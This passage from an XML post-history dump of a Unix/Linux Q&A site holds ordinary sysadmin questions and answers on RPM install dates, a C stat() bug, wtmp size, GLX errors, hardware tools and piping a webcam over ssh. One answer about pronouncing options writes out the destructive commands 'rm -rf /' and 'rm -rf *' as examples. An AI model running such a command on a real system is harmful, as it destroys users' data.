using 802.3ad.&#xD;&#xA;" />
  <row Id="4735" PostHistoryTypeId="10" PostId="2263" RevisionGUID="9d1ea28b-ecef-4184-bc29-2f6b6dc2e15a" CreationDate="2010-09-20T21:58:55.797" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4736" PostHistoryTypeId="2" PostId="2291" RevisionGUID="4f006a9e-501f-44cf-a203-e9ea25481627" CreationDate="2010-09-20T22:03:39.473" UserId="4" Text="I'm on a CentOS 4 machine. I updated and installed some packages a few weeks back, but I don't remember the name of every package or the names of every dependency. I used `yum`.&#xD;&#xA;&#xD;&#xA;Can I list the packages on my system by the date they were last installed or updated?&#xD;&#xA;" />
  <row Id="4737" PostHistoryTypeId="1" PostId="2291" RevisionGUID="4f006a9e-501f-44cf-a203-e9ea25481627" CreationDate="2010-09-20T22:03:39.473" UserId="4" Text="CentOS: List the installed RPMs by date of installation/update?" />
  <row Id="4738" PostHistoryTypeId="3" PostId="2291" RevisionGUID="4f006a9e-501f-44cf-a203-e9ea25481627" CreationDate="2010-09-20T22:03:39.473" UserId="4" Text="érpmàécentosàépackageömanagementà" />
  <row Id="4739" PostHistoryTypeId="5" PostId="1996" RevisionGUID="461d0a91-dbb5-4577-b531-dfa3063461b3" CreationDate="2010-09-20T22:20:31.457" UserId="1327" Comment="deleted 8 characters in body" Text="So `cron` or `at` can schedule our commands to run at  the exact time we need them to, but can we schedule commands to run when systems are **inactive**?&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    echo &quot;some_commands&quot; | when 'cpu &lt; 15%' " />
  <row Id="4740" PostHistoryTypeId="5" PostId="1885" RevisionGUID="b31c5112-83c7-4291-9b26-3926bd97b1c4" CreationDate="2010-09-20T22:41:05.487" UserId="1327" Comment="added 65 characters in body" Text="Microsoft is not the answer. Microsoft is the question. NO (or Linux) is the answer.&#xD;&#xA;&#xD;&#xA;- taken from [here](http://www.linuxweb.com/lw_quotes.html)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    bash-3.00$ man woman  &#xD;&#xA;    No manual entry for woman&#xD;&#xA;" />
  <row Id="4741" PostHistoryTypeId="5" PostId="2290" RevisionGUID="985becf9-6b7c-49ec-8496-02c5e0a0c607" CreationDate="2010-09-20T23:27:00.943" UserId="160" Comment="Clarified use of ~" Text="Here's what I think is happening.  &#xD;&#xA;&#xD;&#xA;When you're using `su` and `bash`, the `su`-session inherits the environment with the exception of `USER`, `HOME` and `SHELL`, thus `XAUTHORITY` still points to `~username/.Xauthority` and everything is fine.  However (from the [man](http://www.openbsd.org/cgi-bin/man.cgi?query=tmux&amp;sektion=1) page), when the `tmux` server is started:&#xD;&#xA;&#xD;&#xA;&gt; ... tmux copies the environment into the global&#xD;&#xA;     environment; in addition, each session has a session environment.  When a&#xD;&#xA;     window is created, the session and global environments are merged with&#xD;&#xA;     the session environment overriding any variable present in both.&#xD;&#xA;&#xD;&#xA;and I suspect (without knowing invocation details) that when you switch credentials, `su` tries to find `.Xauthority` in `/root` and since it can't find one when you need to run an `X` app, it creates one.  I can think of a couple ways you can try to fix this:&#xD;&#xA;&#xD;&#xA; 1. Invoke `su` by using `su -`.  This will copy over the real user's evironment&#xD;&#xA; 2. Add `set-environment &lt;name&gt; &lt;value&gt;` to your `tmux` config.&#xD;&#xA;&#xD;&#xA;Unfortunately, I can't test this since I recently switched over to [i3](http://i3.zekjur.net/) (which is awesome) and I don't have a spare machine.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4742" PostHistoryTypeId="2" PostId="2292" RevisionGUID="bc37e426-bb56-48ca-8f51-756b0dee1bb1" CreationDate="2010-09-20T23:30:01.563" UserId="1469" Text="This should work on any RPM based machine:&#xD;&#xA;&#xD;&#xA;    rpm -qa --qf '%{INSTALLTIME} (%{INSTALLTIME:date}): %{NAME}-%{VERSION}-%{RELEASE}.%{ARCH}\n' | sort -n&#xD;&#xA;&#xD;&#xA;(To get a list of all possible tags, use `rpm --querytags`.)&#xD;&#xA;" />
  <row Id="4743" PostHistoryTypeId="5" PostId="2288" RevisionGUID="084bd479-a069-4d6c-b536-b4fbe931acf4" CreationDate="2010-09-21T00:21:08.783" UserId="1207" Comment="added 161 characters in body; added 73 characters in body; added 11 characters in body" Text="I think that your best bet is the `find` command.  If you want just the files and not the directories in your list, something like this:&#xD;&#xA;&#xD;&#xA;    find directory/ -type f -print &gt; textfile&#xD;&#xA;&#xD;&#xA;The find command will recursively list the files. (If you want the directories listed too, remove the `-type f`).  The `&gt; textfile` redirects stdout to a file named textfile with no need for cat.&#xD;&#xA;&#xD;&#xA;`find` is a powerful tool with many options.  See `man find` if you find that you need to tweak the output slightly.&#xD;&#xA;&#xD;&#xA;**UPDATE** (thanks [gvkv][1]):&#xD;&#xA;&#xD;&#xA;If you want to put the *contents* of the files into a single text file, then one way to do it is:&#xD;&#xA;&#xD;&#xA;    find Documents/ -type f -exec cat {} + &gt; textfile&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/160/gvkv" />
  <row Id="4744" PostHistoryTypeId="2" PostId="2293" RevisionGUID="ce8dfde6-db4d-4b50-8202-8e774b510fba" CreationDate="2010-09-21T04:11:40.970" UserId="1918" Text="The case is as this, I create many files, and after the file generation, I use stat to get the all files info under the directory.&#xD;&#xA;&#xD;&#xA;The purpose is to purge all the files which are old than the specific days.&#xD;&#xA;&#xD;&#xA;But I got a ERROR after the file generation.&#xD;&#xA;&#xD;&#xA;The code is like this:&#xD;&#xA;&#xD;&#xA;//generate files&#xD;&#xA;DIR *dp;&#xD;&#xA;struct dirent *dirp;&#xD;&#xA;struct stat buf;&#xD;&#xA;time_t now;&#xD;&#xA;const char* fileName;&#xD;&#xA;&#xD;&#xA;now = time(NULL);&#xD;&#xA;if((dp = opendir(outputDir.c_str())) == NULL)&#xD;&#xA;{&#xD;&#xA;   WARNING(&quot;Fail to open directory: &quot; &lt;&lt; outputDir&lt;&lt; &quot;, errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;   return;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;while(dirp = readdir(dp))&#xD;&#xA;{&#xD;&#xA;   fileName = dirp-&gt;d_name;&#xD;&#xA;   if(!strcmp(fileName, &quot;.&quot;) || !strcmp(fileName, &quot;..&quot;)) continue;&#xD;&#xA;   int ret = stat(fileName, &amp;buf);&#xD;&#xA;   if(ret)&#xD;&#xA;   {&#xD;&#xA;      closedir(dp);&#xD;&#xA;      WARNING(&quot;Fail to get info for files &quot;&lt;&lt; fileName &lt;&lt;&quot; via stat, errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;      return;&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;   if(now - buf.st_mtime &lt;= days * 24 * 3600) continue;&#xD;&#xA;&#xD;&#xA;   int rret = unlink(fileName);&#xD;&#xA;   if(rret)&#xD;&#xA;   {&#xD;&#xA;      closedir(dp);&#xD;&#xA;      WARNING(&quot;Fail to remove file &quot;&lt;&lt; fileName &lt;&lt;&quot; , errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;      return;&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;closedir(dp);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I got a ERROR during this line:&#xD;&#xA;int ret = stat(fileName, &amp;buf);&#xD;&#xA;&#xD;&#xA;The errno is 2, No such file or directory.&#xD;&#xA;But I checked file, it does exit, and I flush the stream after the file writing.&#xD;&#xA;&#xD;&#xA;Any one knows the cause?&#xD;&#xA;Thanks." />
  <row Id="4745" PostHistoryTypeId="1" PostId="2293" RevisionGUID="ce8dfde6-db4d-4b50-8202-8e774b510fba" CreationDate="2010-09-21T04:11:40.970" UserId="1918" Text="Error when using stat, errno=2" />
  <row Id="4746" PostHistoryTypeId="3" PostId="2293" RevisionGUID="ce8dfde6-db4d-4b50-8202-8e774b510fba" CreationDate="2010-09-21T04:11:40.970" UserId="1918" Text="éunixàéfilesàécà" />
  <row Id="4747" PostHistoryTypeId="5" PostId="2293" RevisionGUID="e1c090e6-c7d4-4b0e-a79c-d0b407bbea84" CreationDate="2010-09-21T04:18:20.520" UserId="1918" Comment="added 28 characters in body" Text="The case is as this, I create many files, and after the file generation, I use stat to get the all files info under the directory.&#xD;&#xA;&#xD;&#xA;The purpose is to purge all the files which are old than the specific days.&#xD;&#xA;&#xD;&#xA;But I got a ERROR after the file generation.&#xD;&#xA;&#xD;&#xA;The code is like this:&#xD;&#xA;&#xD;&#xA;[code]&#xD;&#xA;//generate files&#xD;&#xA;DIR *dp;&#xD;&#xA;struct dirent *dirp;&#xD;&#xA;struct stat buf;&#xD;&#xA;time_t now;&#xD;&#xA;const char* fileName;&#xD;&#xA;&#xD;&#xA;now = time(NULL);&#xD;&#xA;if((dp = opendir(outputDir.c_str())) == NULL)&#xD;&#xA;{&#xD;&#xA;   WARNING(&quot;Fail to open directory: &quot; &lt;&lt; outputDir&lt;&lt; &quot;, errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;   return;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;while(dirp = readdir(dp))&#xD;&#xA;{&#xD;&#xA;   fileName = dirp-&gt;d_name;&#xD;&#xA;   if(!strcmp(fileName, &quot;.&quot;) || !strcmp(fileName, &quot;..&quot;)) continue;&#xD;&#xA;   int ret = stat(fileName, &amp;buf);&#xD;&#xA;   if(ret)&#xD;&#xA;   {&#xD;&#xA;      closedir(dp);&#xD;&#xA;      WARNING(&quot;Fail to get info for files &quot;&lt;&lt; fileName &lt;&lt;&quot; via stat, errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;      return;&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;   if(now - buf.st_mtime &lt;= days * 24 * 3600) continue;&#xD;&#xA;&#xD;&#xA;   int rret = unlink(fileName);&#xD;&#xA;   if(rret)&#xD;&#xA;   {&#xD;&#xA;      closedir(dp);&#xD;&#xA;      WARNING(&quot;Fail to remove file &quot;&lt;&lt; fileName &lt;&lt;&quot; , errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;      return;&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;closedir(dp);&#xD;&#xA;[/code]&#xD;&#xA;&#xD;&#xA;I got a ERROR during this line:&#xD;&#xA;[code]int ret = stat(fileName, &amp;buf);[/code]&#xD;&#xA;&#xD;&#xA;The errno is 2, No such file or directory.&#xD;&#xA;But I checked file, it does exit, and I flush the stream after the file writing.&#xD;&#xA;&#xD;&#xA;Any one knows the cause?&#xD;&#xA;Thanks." />
  <row Id="4748" PostHistoryTypeId="5" PostId="2293" RevisionGUID="b59e81d8-6fad-4ab2-8a16-8d56dfa05dc7" CreationDate="2010-09-21T04:18:45.353" UserId="1207" Comment="fix code formatting" Text="The case is as this, I create many files, and after the file generation, I use stat to get the all files info under the directory.&#xD;&#xA;&#xD;&#xA;The purpose is to purge all the files which are old than the specific days.&#xD;&#xA;&#xD;&#xA;But I got a ERROR after the file generation.&#xD;&#xA;&#xD;&#xA;The code is like this:&#xD;&#xA;&#xD;&#xA;    //generate files&#xD;&#xA;    DIR *dp;&#xD;&#xA;    struct dirent *dirp;&#xD;&#xA;    struct stat buf;&#xD;&#xA;    time_t now;&#xD;&#xA;    const char* fileName;&#xD;&#xA;    &#xD;&#xA;    now = time(NULL);&#xD;&#xA;    if((dp = opendir(outputDir.c_str())) == NULL)&#xD;&#xA;    {&#xD;&#xA;       WARNING(&quot;Fail to open directory: &quot; &lt;&lt; outputDir&lt;&lt; &quot;, errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;       return;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    while(dirp = readdir(dp))&#xD;&#xA;    {&#xD;&#xA;       fileName = dirp-&gt;d_name;&#xD;&#xA;       if(!strcmp(fileName, &quot;.&quot;) || !strcmp(fileName, &quot;..&quot;)) continue;&#xD;&#xA;       int ret = stat(fileName, &amp;buf);&#xD;&#xA;       if(ret)&#xD;&#xA;       {&#xD;&#xA;          closedir(dp);&#xD;&#xA;          WARNING(&quot;Fail to get info for files &quot;&lt;&lt; fileName &lt;&lt;&quot; via stat, errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;          return;&#xD;&#xA;       }&#xD;&#xA;    &#xD;&#xA;       if(now - buf.st_mtime &lt;= days * 24 * 3600) continue;&#xD;&#xA;    &#xD;&#xA;       int rret = unlink(fileName);&#xD;&#xA;       if(rret)&#xD;&#xA;       {&#xD;&#xA;          closedir(dp);&#xD;&#xA;          WARNING(&quot;Fail to remove file &quot;&lt;&lt; fileName &lt;&lt;&quot; , errno=&quot; &lt;&lt; ERRNO());&#xD;&#xA;          return;&#xD;&#xA;       }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;    closedir(dp);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I got a ERROR during this line:&#xD;&#xA;&#xD;&#xA;    int ret = stat(fileName, &amp;buf);&#xD;&#xA;&#xD;&#xA;The errno is 2, No such file or directory.&#xD;&#xA;But I checked file, it does exit, and I flush the stream after the file writing.&#xD;&#xA;&#xD;&#xA;Any one knows the cause?&#xD;&#xA;Thanks." />
  <row Id="4749" PostHistoryTypeId="2" PostId="2294" RevisionGUID="62d58ab1-8a12-40f8-986c-c816aee0898d" CreationDate="2010-09-21T05:14:18.480" UserId="1752" Text="I guess you just forgot to strcat-prepend the outputDir before your fileName." />
  <row Id="4750" PostHistoryTypeId="2" PostId="2295" RevisionGUID="204d502c-8e67-4e0a-9de5-1efdbc0dd666" CreationDate="2010-09-21T06:06:31.007" UserId="1920" Text="Just noticed some 640MB wtmp file in a virtual container (Ubuntu Hardy).&#xD;&#xA;&#xD;&#xA;    # last -n 10000 -f /var/log/wtmp.1|wc -l&#xD;&#xA;    384&#xD;&#xA;    # ls -hl /var/log/wtmp.1&#xD;&#xA;    -rw-rw-r-- 1 root utmp 641M 21. Sep 07:49 /var/log/wtmp.1&#xD;&#xA;&#xD;&#xA;logrotate was not installed (I just did that and forced rotating).&#xD;&#xA;&#xD;&#xA;Are there records in there not being displayed by `last` (which should show the last 1000 entries, but apparently there are only 384).&#xD;&#xA;&#xD;&#xA;From quickly skimming the `wtmp/utmp` man page, it does not look like a single entry should use about 1,6MB.&#xD;&#xA;&#xD;&#xA;Is there another program besides `last` to inspect these files?" />
  <row Id="4751" PostHistoryTypeId="1" PostId="2295" RevisionGUID="204d502c-8e67-4e0a-9de5-1efdbc0dd666" CreationDate="2010-09-21T06:06:31.007" UserId="1920" Text="Why does /var/log/wtmp becomes so huge? How to inspect wtmp files?" />
  <row Id="4752" PostHistoryTypeId="3" PostId="2295" RevisionGUID="204d502c-8e67-4e0a-9de5-1efdbc0dd666" CreationDate="2010-09-21T06:06:31.007" UserId="1920" Text="éloginàélogsà" />
  <row Id="4753" PostHistoryTypeId="2" PostId="2296" RevisionGUID="69db0405-1213-4eba-bf8d-6c58b4563826" CreationDate="2010-09-21T06:29:15.970" UserId="1294" Text="`logrotate` was a good idea. &#xD;&#xA;&#xD;&#xA;Like any regular file, wtmp could have been &quot;sparse&quot; (cf. lseek(2) &quot;holes&quot; and `ls -s`) which can show a extreme file size that actually occupies little disk. How did the hole get there, if it was a hole? `getty(8)` and friends could have had a bug. Or a system crash and fsck repair could have caused it.&#xD;&#xA;&#xD;&#xA;If you are looking to see the raw contents of wtmp, `od` or `hd` are good for peeking at binaries and have the happy side effect of showing long runs of empty as such.&#xD;&#xA;&#xD;&#xA;Unless it recurs, I wouldn't give it much more thought. A marginally competent intruder would do a better job than that, the contents aren't all that interesting, and little depends on them. " />
  <row Id="4756" PostHistoryTypeId="2" PostId="2298" RevisionGUID="7ed05648-fc9d-4e71-a406-a0b9198044c1" CreationDate="2010-09-21T09:28:48.503" UserId="1924" Text="I'm using internal VGA these days and I've got a problem:&#xD;&#xA;&#xD;&#xA;I can't run any games.&#xD;&#xA;&#xD;&#xA;I always get this errors:&#xD;&#xA;&#xD;&#xA;    --------- [Loading Renderer] ---------&#xD;&#xA;    Initializing OpenGL display&#xD;&#xA;    ...setting fullscreen mode 3: 1024 768&#xD;&#xA;    Using XFree86-VidModeExtension Version 2.2&#xD;&#xA;    Xlib:  extension &quot;GLX&quot; missing on display &quot;:0.0&quot;.&#xD;&#xA;    Error couldn't get an RGB, Double-buffered, Depth visual, Stencil Buffered&#xD;&#xA;    Xlib:  extension &quot;GLX&quot; missing on display &quot;:0.0&quot;.&#xD;&#xA;    Error couldn't get an RGB, Double-buffered, Depth visual&#xD;&#xA;    ref_gl::R_SetMode() - invalid mode&#xD;&#xA;    Initializing OpenGL display&#xD;&#xA;    ...setting mode 3: 1024 768&#xD;&#xA;    Using XFree86-VidModeExtension Version 2.2&#xD;&#xA;    Xlib:  extension &quot;GLX&quot; missing on display &quot;:0.0&quot;.&#xD;&#xA;    Error couldn't get an RGB, Double-buffered, Depth visual, Stencil Buffered&#xD;&#xA;    Xlib:  extension &quot;GLX&quot; missing on display &quot;:0.0&quot;.&#xD;&#xA;    Error couldn't get an RGB, Double-buffered, Depth visual&#xD;&#xA;    ref_gl::R_SetMode() - could not revert to safe mode&#xD;&#xA;    ref_gl::R_Init() - could not R_SetMode()&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My motherboard is K8S-MX and I'm using linux 10.04&#xD;&#xA;Do you know how can I fix it? &#xD;&#xA;" />
  <row Id="4757" PostHistoryTypeId="1" PostId="2298" RevisionGUID="7ed05648-fc9d-4e71-a406-a0b9198044c1" CreationDate="2010-09-21T09:28:48.503" UserId="1924" Text="Problem with graphics" />
  <row Id="4758" PostHistoryTypeId="3" PostId="2298" RevisionGUID="7ed05648-fc9d-4e71-a406-a0b9198044c1" CreationDate="2010-09-21T09:28:48.503" UserId="1924" Text="élinuxàéubuntuà" />
  <row Id="4759" PostHistoryTypeId="2" PostId="2299" RevisionGUID="dea09445-7e02-40b2-82b9-263b25d58d74" CreationDate="2010-09-21T09:34:10.677" UserId="33" Text="What is the Vendor of your graphics card? It looks like you might not be using the right (or optimized) driver for it.&#xD;&#xA;&#xD;&#xA;You can install &quot;mesa-utils&quot; and run &quot;glxinfo&quot; to get more details about the GLX extension on your machine, but since you seem to be using Ubuntu I'd suggest using the &quot;Additional Drivers&quot; thingy that you can find under &quot;System-&gt;Administration-&gt;Additional Drivers&quot;  to try to let Ubuntu figure out whether you do for example need a binary driver for your card." />
  <row Id="4760" PostHistoryTypeId="2" PostId="2300" RevisionGUID="666064e7-a620-46af-ba27-ae0d9d6893de" CreationDate="2010-09-21T10:37:00.297" UserId="1924" Text="How can I check what hardware do I have? (with bios version etc)" />
  <row Id="4761" PostHistoryTypeId="1" PostId="2300" RevisionGUID="666064e7-a620-46af-ba27-ae0d9d6893de" CreationDate="2010-09-21T10:37:00.297" UserId="1924" Text="checking hardware on linux" />
  <row Id="4762" PostHistoryTypeId="3" PostId="2300" RevisionGUID="666064e7-a620-46af-ba27-ae0d9d6893de" CreationDate="2010-09-21T10:37:00.297" UserId="1924" Text="élinuxàéhardwareà" />
  <row Id="4763" PostHistoryTypeId="2" PostId="2301" RevisionGUID="35d3d548-4433-43b5-bfe2-ee839dbb0fb8" CreationDate="2010-09-21T10:42:47.907" UserId="629" Text="You can use 'lshw'. Install it using 'sudo apt-get install lshw' on Debian and derivatives.&#xD;&#xA;There's even a graphical version called lshw-gtk." />
  <row Id="4764" PostHistoryTypeId="2" PostId="2302" RevisionGUID="95ff4443-ede1-4624-bbe3-e666463e199b" CreationDate="2010-09-21T10:52:59.430" UserId="1327" Text="Ussually I take a look at my office through my webcam by running&#xD;&#xA;&#xD;&#xA;    ssh Office -Y &quot;mplayer tv://device=/dev/video0&quot;&#xD;&#xA;&#xD;&#xA;I don't like Xforwarding mplayer, so why can't I tunnel `/dev/video` to my pc like this?&#xD;&#xA;&#xD;&#xA;    sudo mkfifo /dev/video1&#xD;&#xA;    ssh Office 'dd if=/dev/video' | sudo dd of=/dev/video1'&#xD;&#xA;&#xD;&#xA;and then run&#xD;&#xA;&#xD;&#xA;    mplayer tv://device=/dev/video1&#xD;&#xA;" />
  <row Id="4765" PostHistoryTypeId="1" PostId="2302" RevisionGUID="95ff4443-ede1-4624-bbe3-e666463e199b" CreationDate="2010-09-21T10:52:59.430" UserId="1327" Text="Can I pipe /dev/video over ssh" />
  <row Id="4766" PostHistoryTypeId="3" PostId="2302" RevisionGUID="95ff4443-ede1-4624-bbe3-e666463e199b" CreationDate="2010-09-21T10:52:59.430" UserId="1327" Text="ésshötunnelingà" />
  <row Id="4767" PostHistoryTypeId="5" PostId="2269" RevisionGUID="56307640-df3e-4b6b-9f48-5d2b54af7d7b" CreationDate="2010-09-21T11:45:26.283" UserId="305" Comment="added 52 characters in body" Text="When I switched from `su+bash` to `su+tmux+zsh` I noticed that I get `$XAUTHORITY` variable defined as `/root/.xauthXXXXXX` where `XXXXXX` are 6 random alphanumeric characters. With previous configuration X worked with root flowlessly but now I need to copy `~username/.Xauthority` to `$XAUTHORITY`.&#xD;&#xA;&#xD;&#xA;Variable is nowhere defined (I checked `.zshrc`, `/etc/profile*`, `/etc/profile.d/*` etc.).&#xD;&#xA;&#xD;&#xA;    # env&#xD;&#xA;    TERM=screen&#xD;&#xA;    SHELL=/usr/bin/tmux&#xD;&#xA;    USER=toor&#xD;&#xA;    TMUX=/tmp//tmux-0/default,6495,3&#xD;&#xA;    PATH=/sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;    PWD=/root&#xD;&#xA;    SHLVL=2&#xD;&#xA;    HOME=/root&#xD;&#xA;    LOGNAME=toor&#xD;&#xA;    DISPLAY=:0.0&#xD;&#xA;    XAUTHORITY=/root/.xauthUSzLl4&#xD;&#xA;    COLORTERM=gnome-terminal&#xD;&#xA;    _=/bin/env&#xD;&#xA;    OLDPWD=/root&#xD;&#xA;    EDITOR=vim&#xD;&#xA;    vcs_info_msg_0_=&#xD;&#xA;    vcs_info_msg_1_=&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;    % echo $XAUTHORITY &#xD;&#xA;    /home/mpiechotka/.Xauthority&#xD;&#xA;    % su &#xD;&#xA;    password:&#xD;&#xA;    # echo $XAUTHORITY &#xD;&#xA;    /root/.xauthUSzLl4&#xD;&#xA;    # ls $XAUTHORITY&#xD;&#xA;    ls: cannot access /root/.xauthUSzLl4: No such file or directory&#xD;&#xA;    # cat .tmux.conf &#xD;&#xA;    set -g default-command /bin/zsh&#xD;&#xA;    set -g default-shell /bin/zsh&#xD;&#xA;&#xD;&#xA;`su` is aliased to `su - toor` and it opens `tmux` as shell. toor is an alias of root with different shell.&#xD;&#xA;&#xD;&#xA;PS. I just discovered that it appears on normal su as well. It did not some time ago...&#xD;&#xA;&#xD;&#xA;**Edit 2** `set-enviroment` didn't help either&#xD;&#xA;" />
  <row Id="4768" PostHistoryTypeId="2" PostId="2303" RevisionGUID="dc91e172-3795-4725-9456-be6997003e49" CreationDate="2010-09-21T11:52:42.383" UserId="1339" Text="If your system supports a **procfs**, you can get much information of your running system. Its an interface to the kernels data structures, so it will also contain information about your hardware. For example to get details about the used CPU you could `cat /proc/cpuinfo`&#xD;&#xA;For more information you should see the *[man proc][2]*.&#xD;&#xA;&#xD;&#xA;More hardware information can be obtained through the kernel ring buffer logmessages with `dmesg`. For example this will give you a short summary of recently attached hardware and how it is integreated in the system.&#xD;&#xA;&#xD;&#xA;These are some basic &quot;interfaces&quot; you will have on every distribution to obtain some hardware information.&#xD;&#xA;&#xD;&#xA;Other 'small' tools to gather hardware information are:&#xD;&#xA;&#xD;&#xA;* lspci - PCI Hardware&#xD;&#xA;* lsusb - USB Hardware&#xD;&#xA;&#xD;&#xA;Depending on your distribution you will also have access to one of these two tools to gather a detailed overview of your hardware configuration:&#xD;&#xA;&#xD;&#xA;* [lshw][3]&#xD;&#xA;* hwinfo (SuSE specific but availible under other distributions also)&#xD;&#xA;&#xD;&#xA;The &quot;gate&quot; to your hardware is thorugh the *&quot;Desktop Management Interface&quot;* (-&gt; DMI). This framework will expose your system information to your software and is used by lshw for example. A tool to interact directly with the DMI is **[dmidecode][1]** and availible on the most distributions as package. It will come with `biosdecode` which shows you also the complete availbile BIOS informations.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nongnu.org/dmidecode/&#xD;&#xA;  [2]: http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html&#xD;&#xA;  [3]: http://ezix.org/project/wiki/HardwareLiSter" />
  <row Id="4769" PostHistoryTypeId="2" PostId="2304" RevisionGUID="c71bc0ea-f88b-4c3f-9669-a99fa10dba40" CreationDate="2010-09-21T12:49:55.917" UserId="195" Text="I don't know if there's any reason you can't do it, but one problem I see with your implementation is that the remote system will look for /dev/video1 on its system, but won't be able to find it because you created it on your local system.&#xD;&#xA;&#xD;&#xA;What I'd do is something along the following&#xD;&#xA;&#xD;&#xA;    nc -l 12345 | sudo tee /dev/video &gt; /dev/null &amp;&#xD;&#xA;    ssh Office&#xD;&#xA;and then try something by telling it to go to your local system's TCP port 12345." />
  <row Id="4770" PostHistoryTypeId="2" PostId="2305" RevisionGUID="041238cd-c354-4094-9756-aa272d82e68c" CreationDate="2010-09-21T13:33:30.230" UserId="1928" Text="I'm looking for a script that allows complete configuration of a CentOS 5 system via TUI (no GUI, X, etc.).&#xD;&#xA;&#xD;&#xA;I found system-config-network-tui but other than the fact it looks unprofessional (typos, bugs, etc.) I actually would like to find a script which supports the configuration of many other aspects (such as date/time, timezone, routing, etc.)&#xD;&#xA;&#xD;&#xA;Is there anything available?" />
  <row Id="4771" PostHistoryTypeId="1" PostId="2305" RevisionGUID="041238cd-c354-4094-9756-aa272d82e68c" CreationDate="2010-09-21T13:33:30.230" UserId="1928" Text="Looking for a complete TUI script for configuring date and networking of CentOS 5" />
  <row Id="4772" PostHistoryTypeId="3" PostId="2305" RevisionGUID="041238cd-c354-4094-9756-aa272d82e68c" CreationDate="2010-09-21T13:33:30.230" UserId="1928" Text="éconfigurationà" />
  <row Id="4773" PostHistoryTypeId="5" PostId="2302" RevisionGUID="a37e7b88-b8c7-43b1-83ac-fad295fb1fdb" CreationDate="2010-09-21T13:45:34.550" UserId="1327" Comment="added 197 characters in body" Text="I have two computers, a *desktop* in my office ( with a **webcam** attached ) and a *laptop* somewhere else on the network.&#xD;&#xA;&#xD;&#xA;Usually I take a look at my office through my webcam by running&#xD;&#xA;&#xD;&#xA;    ssh Office -Y &quot;mplayer tv://device=/dev/video0&quot;&#xD;&#xA;&#xD;&#xA;from my laptop.  I don't like Xforwarding mplayer, so why can't I tunnel `/dev/video` to my pc by running this on my laptop?&#xD;&#xA;&#xD;&#xA;    sudo mkfifo /dev/video1&#xD;&#xA;    ssh Office 'dd if=/dev/video' | sudo dd of=/dev/video1'&#xD;&#xA;&#xD;&#xA;and then to watch the webcam ( on my *laptop* )&#xD;&#xA;&#xD;&#xA;    mplayer tv://device=/dev/video1&#xD;&#xA;" />
  <row Id="4774" PostHistoryTypeId="2" PostId="2306" RevisionGUID="d6148c3a-f78b-437a-a120-5dabf0196a0a" CreationDate="2010-09-21T13:53:27.110" UserId="1927" Text="A distro without a package for GCC would be extraordinarily unlikely!  You should not have to compile it, in other words, you can just use a package manager." />
  <row Id="4775" PostHistoryTypeId="2" PostId="2307" RevisionGUID="9df0eba2-1caa-40fa-a959-f9939632433b" CreationDate="2010-09-21T14:01:00.520" UserId="1927" Text="I have used Unix and GNU/Linux for many years, and talked about command-line operators out loud a heck of a lot and I have never heard anyone say  &quot;minus.&quot;  In fact, we don't even usually say &quot;dash.&quot;  If I'm talking to somebody and the context is clear, I'll just speak the letters of the option; using your example&#xD;&#xA;&#xD;&#xA;    rm -rf /&#xD;&#xA;&#xD;&#xA;would be pronounced &quot;arr em arr eff slash.&quot;  Of course, this is not something I usually tell someone how to do, so it would be more like &#xD;&#xA;&#xD;&#xA;    rm -rf *&#xD;&#xA;&#xD;&#xA;pronounced &quot;arr em arr eff star.&quot; Sometimes I say the dash, like  &#xD;&#xA;&#xD;&#xA;    sudo yum -y update&#xD;&#xA;&#xD;&#xA;I would say &quot;soo dough yum dash why update.&quot;" />
  <row Id="4776" PostHistoryTypeId="2" PostId="2308" RevisionGUID="f2fab598-cb03-4174-afaa-4445166218fc" CreationDate="2010-09-21T14:01:34.160" UserId="1339" Text="Did you try [setuptool][1] ?&#xD;&#xA;&#xD;&#xA;Install it with `yum install setuptool`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.maruhn.com/sec/setuptool.html" />
  <row Id="4777" PostHistoryTypeId="2" PostId="2309" RevisionGUID="9c19e632-3bde-495d-98f0-d5afda99c4ae" CreationDate="2010-09-21T14:05:36.200" UserId="1294" Text="The [VideoLAN Project][1] exists in large part to do just what you desire.&#xD;&#xA;&#xD;&#xA;I've not used its streaming capabilities but in its single machine use it has shown to be rock solid for me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.videolan.org/vlc/streaming.html" />
  <row Id="4778" PostHistoryTypeId="2" PostId="2310" RevisionGUID="71873d47-1954-431b-8cff-0d54f9cc63a2" CreationDate="2010-09-21T14:55:51.070" UserId="1264" Text="May be I'm not understanding something but why don't you simply install the US_intl keyboard layout and you'll have all accents available to all letters (possible) (and windows too) and you make ê pressing `^` and `e`. `^` is on shift-6 on us keyboards, no idea on moeder taal keyboard!&#xD;&#xA;" />
